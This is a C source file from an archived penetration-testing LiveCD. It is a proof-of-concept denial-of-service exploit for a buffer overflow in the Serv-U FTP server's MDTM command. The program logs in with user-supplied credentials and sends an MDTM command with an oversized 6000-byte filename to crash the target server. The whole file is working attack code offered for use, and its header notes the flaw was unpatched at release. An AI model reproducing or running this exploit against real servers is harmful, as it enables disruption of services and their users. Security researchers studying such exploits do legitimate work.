home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / servu / serv-u-mdtm.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  98 lines

  1. /* serv-u-mdtm-expl.c - Serv-U "MDTM" buffer overflow PoC DoS exploit.
  2.  *
  3.  * This program will send an overly large filename parameter when calling
  4.  * the Serv-U FTP MDTM command.  Although arbitrary code execution is
  5.  * possible upon successful execution of this vulnerability, the vendor has
  6.  * not yet released a patch, so releasing such an exploit could be disastrous
  7.  * in the hands of script kiddies.  I might release a full exploit to the
  8.  * public when a patch/fix is issued by the vendor of Serv-U.  This PoC
  9.  * exploit will simply crash the Serv-U server.
  10.  *
  11.  * This vulnerability was discovered by bkbll, you can read his advisory on
  12.  * the issue here: <http://www.cnhonker.com/advisory/serv-u.mdtm.txt>
  13.  *
  14.  * This vulnerability requires a valid login and password to exploit!  This
  15.  * PoC does not check to see if you supplied a correct login and password.
  16.  *
  17.  * I do not take responsibility for this code.
  18.  *
  19.  * -shaun2k2
  20.  */
  21.  
  22. #include <stdio.h>
  23. #include <stdlib.h>
  24. #include <sys/socket.h>
  25. #include <sys/types.h>
  26. #include <netdb.h>
  27. #include <netinet/in.h>
  28.  
  29. int main(int argc, char *argv[]) {
  30.         if(argc < 5) {
  31.                 printf("Serv-U 'MDTM' buffer overflow DoS exploit.\n");
  32.                 printf("by shaun2k2 - <shaunige@yahoo.co.uk>.\n\n");
  33.                 printf("Usage: %s <host> <port> <login> <password>\n", argv[0]);
  34.                 exit(-1);
  35.         }
  36.  
  37.         int sock;
  38.         char explbuf[6032];
  39.         char loginbuf[100];
  40.         char passwdbuf[100];
  41.         char bigbuf[6000];
  42.         struct sockaddr_in dest;
  43.         struct hostent *he;
  44.  
  45.         /* lookup IP address of supplied hostname. */
  46.         if((he = gethostbyname(argv[1])) == NULL) {
  47.                 printf("Couldn't resolve %s!\n", argv[1]);
  48.                 exit(-1);
  49.         }
  50.  
  51.         /* create socket. */
  52.         if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
  53.                 perror("socket()");
  54.                 exit(-1);
  55.         }
  56.  
  57.         /* fill in address struct. */
  58.         dest.sin_family = AF_INET;
  59.         dest.sin_port = htons(atoi(argv[2]));
  60.         dest.sin_addr = *((struct in_addr *)he->h_addr);
  61.  
  62.         printf("Serv-U 'MDTM' buffer overflow DoS exploit.\n");
  63.         printf("by shaun2k2 - <shaunige@yahoo.co.uk>.\n\n");
  64.  
  65.         printf("Crafting exploit buffer...\n\n");
  66.         /* craft exploit buffers. */
  67.         memset(bigbuf, 'a', 6000);
  68.         sprintf(loginbuf, "USER %s\n", argv[3]);
  69.         sprintf(passwdbuf, "PASS %s\n", argv[4]);
  70.         sprintf(explbuf, "MDTM 20031111111111+%s\r\n", bigbuf);
  71.  
  72.  
  73.         printf("[+] Connecting...\n");
  74.         if(connect(sock, (struct sockaddr *)&dest, sizeof(struct sockaddr)) < 0) {
  75.                 perror("connect()");
  76.                 exit(-1);
  77.         }
  78.  
  79.         printf("[+] Connected!\n\n");
  80.  
  81.         printf("[+] Sending exploit buffers...\n");
  82.         sleep(1); /* give the serv-u server time to sort itself out. */
  83.         send(sock, loginbuf, strlen(loginbuf), 0);
  84.         sleep(2); /* wait for 2 secs. */
  85.         send(sock, passwdbuf, strlen(passwdbuf), 0);
  86.         sleep(2); /* wait before sending large MDTM command. */
  87.         send(sock, explbuf, strlen(explbuf), 0);
  88.         sleep(1); /* wait before closing the socket. */
  89.         printf("[+] Exploit buffer sent!\n\n");
  90.  
  91.         close(sock);
  92.  
  93.         printf("[+] Done!  Check if the Serv-U server has crashed.\n");
  94.  
  95.         return(0);
  96. }
  97.  
  98.